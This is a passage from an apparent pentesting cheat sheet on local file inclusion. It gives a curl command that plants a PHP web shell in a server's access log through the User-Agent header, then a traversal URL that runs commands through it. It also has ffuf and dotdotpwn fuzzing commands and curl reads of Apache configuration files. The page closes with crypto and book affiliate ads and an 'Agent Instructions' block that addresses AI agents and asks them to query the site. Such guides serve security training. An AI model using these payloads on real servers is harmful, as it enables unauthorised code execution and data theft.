`User-Agent` header is controlled by us through the HTTP request headers, so we should be able to poison this value.  &#x20;

{% hint style="info" %}
**Tip:** Logs tend to be huge, and loading them in an LFI vulnerability may take a while to load, or even crash the server in worst-case scenarios. So, be careful and efficient with them in a production environment, and don't send unnecessary requests.
{% endhint %}

<figure><img src="/files/c5jV9Dkgc2a1XDTr40N7" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
**Note:** As all requests to the server get logged, we can poison any request to the web application, and not necessarily the LFI one as we did above.
{% endhint %}

<figure><img src="/files/34Ry65jvxi3QqumblcTj" alt=""><figcaption></figcaption></figure>

or with Curl

```shell-session
curl -s "http://<SERVER_IP>:<PORT>/index.php" -A "<?php system($_GET['cmd']); ?>"
```

{% hint style="info" %}
Using Burp is safer, Curl can overwrite the log file
{% endhint %}

We can specify a command to be executed with (`?cmd=id`)

```
index.php?log=../../../../../../../../../../../..//var/log/nginx/access.log&cmd=id
```

<figure><img src="/files/JbbF9wUKoAhneNdHmb77" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
**Tip:** The `User-Agent` header is also shown on process files under the Linux `/proc/` directory. So, we can try including the `/proc/self/environ` or `/proc/self/fd/N` files (where N is a PID usually between 0-50), and we may be able to perform the same attack on these files. This may become handy in case we did not have read access over the server logs, however, these files may only be readable by privileged users as well.
{% endhint %}

&#x20;Service logs we may be able to read:

* `/var/log/sshd.log`
* `/var/log/mail`
* `/var/log/vsftpd.log`

## Automated Scanning

### Fuzzing parameters

{% content-ref url="/pages/uDePbcQDhOjtjRKV8h1f" %}
[Fuzzing](/0xss0rz/pentest/web-attacks/fuzzing.md)
{% endcontent-ref %}

Fuzz for exposed parameters

```shell-session
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?FUZZ=value' -fs 2287
```

{% hint style="info" %}
**Tip:** For a more precise scan, we can limit our scan to the most popular LFI parameters
{% endhint %}

{% embed url="<https://github.com/lutfumertceylan/top25-parameter/blob/master/lfi-parameters.txt>" %}

### LFI wordlists

{% embed url="<https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI>" %}

Start with LFI-Jhaddix.txt: <https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt>

```shell-session
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=FUZZ' -fs 2287
```

### Fuzzing Server Files

**Server Webroot**

* Linux:

{% embed url="<https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-linux.txt>" %}

* Windows

{% embed url="<https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/default-web-root-directory-windows.txt>" %}

Depending on our LFI situation, we may need to add a few back directories (e.g. `../../../../`), and then add our `index.php` afterwords.

```shell-session
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/default-web-root-directory-linux.txt:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ/index.php' -fs 2287
```

Also try[ LFI-Jhaddix.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt)

**Server Logs/Configurations**

Start with[ LFI-Jhaddix.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-Jhaddix.txt)

More payload:

* Linux

{% embed url="<https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Linux>" %}

* Windows

{% embed url="<https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Windows>" %}

```shell-session
ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287
```

```shell-session
curl http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/apache2/apache2.conf

...SNIP...
        ServerAdmin webmaster@localhost
        DocumentRoot /var/www/html

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
...SNIP...
```

We do get the default webroot path and the log path. However, in this case, the log path is using a global apache variable (`APACHE_LOG_DIR`), which are found in another file we saw above, which is (`/etc/apache2/envvars`)

```shell-session
curl http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/apache2/envvars

...SNIP...
export APACHE_RUN_USER=www-data
export APACHE_RUN_GROUP=www-data
# temporary state file location. This might be changed to /run in Wheezy+1
export APACHE_PID_FILE=/var/run/apache2$SUFFIX/apache2.pid
export APACHE_RUN_DIR=/var/run/apache2$SUFFIX
export APACHE_LOCK_DIR=/var/lock/apache2$SUFFIX
# Only /var/log/apache2 is handled by /etc/logrotate.d/apache2.
export APACHE_LOG_DIR=/var/log/apache2$SUFFIX
...SNIP...
```

&#x20;The (`APACHE_LOG_DIR`) variable is set to (`/var/log/apache2`), and the previous configuration told us that the log files are `/access.log` and `/error.log`

## Tools

{% embed url="<https://github.com/Cybersecurity-Ethical-Hacker/lfier>" %}

{% embed url="<https://github.com/hansmach1ne/LFImap>" %}

{% embed url="<https://github.com/mzfr/liffy>" %}

{% embed url="<https://github.com/OsandaMalith/LFiFreak>" %}

{% embed url="<https://github.com/D35m0nd142/LFISuite>" %}

{% embed url="<https://github.com/momenbasel/liffier>" %}

{% embed url="<https://github.com/chrispetrou/FDsploit>" %}
FDsploit
{% endembed %}

<figure><img src="/files/6ArQ4nsmaK74ZiCasr7I" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.kali.org/tools/dotdotpwn/>" %}
dotdotpwn
{% endembed %}

```
dotdotpwn -m http-url -h "example.com/index.php?p=TRAVERSAL" -f "/pages/home" -k "Scan"
```

<figure><img src="/files/23LAyJQ5mC47chnVZidt" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/jcesarstef/dotdotslash>" %}
dotdotslash
{% endembed %}

## Resources

{% embed url="<https://www.yeswehack.com/learn-bug-bounty/practical-guide-path-traversal-attacks>" %}

{% embed url="<https://github.com/trilokdhaked/Bug-Bounty-Methodology/blob/main/Local%20File%20Inclusion.md>" %}

{% embed url="<https://portswigger.net/kb/issues/00100300_file-path-traversal>" %}

{% embed url="<https://portswigger.net/web-security/file-path-traversal>" %}

{% embed url="<https://owasp.org/www-community/attacks/Path_Traversal>" %}

{% embed url="<https://www.invicti.com/learn/directory-traversal-path-traversal/>" %}

{% embed url="<https://d00mfist.gitbooks.io/ctf/content/local_file_inclusion.html>" %}

{% embed url="<https://0xffsec.com/handbook/web-applications/file-inclusion-and-path-traversal/>" %}

{% embed url="<https://www.intigriti.com/hackademy/directory-traversal>" %}

## [Earn Free Crypto / BTC with Cointiply](https://cointiply.com/r/pkZxp)

[**Play Games Earn Cash Rewards**](https://cointiply.com/r/pkZxp)

<figure><img src="/files/a876wNYE568SJIfTZVxL" alt=""><figcaption></figcaption></figure>

## Interesting Books

{% content-ref url="/pages/VVT5FQq9z62bWoNAWCUS" %}
[Interesting Books](/0xss0rz/interesting-books.md)
{% endcontent-ref %}

{% hint style="info" %}
**Disclaimer**: As an Amazon Associate, I earn from qualifying purchases. This helps support this GitBook project at no extra cost to you.
{% endhint %}

* [**The Web Application Hacker’s Handbook**](https://www.amazon.fr/dp/1118026470?tag=0xss0rz-21) The go-to manual for web app pentesters. Covers XSS, SQLi, logic flaws, and more
* [**Bug Bounty Bootcamp: The Guide to Finding and Reporting Web Vulnerabilities**](https://www.amazon.fr/dp/1718501544?tag=0xss0rz-21) Learn how to perform reconnaissance on a target, how to identify vulnerabilities, and how to exploit them
* [**Real-World Bug Hunting: A Field Guide to Web Hacking**](https://www.amazon.fr/dp/1593278616?tag=0xss0rz-21) Learn about the most common types of bugs like cross-site scripting, insecure direct object references, and server-side request forgery.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xss0rz.gitbook.io/0xss0rz/pentest/web-attacks/file-inclusion-lfi-rfi.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
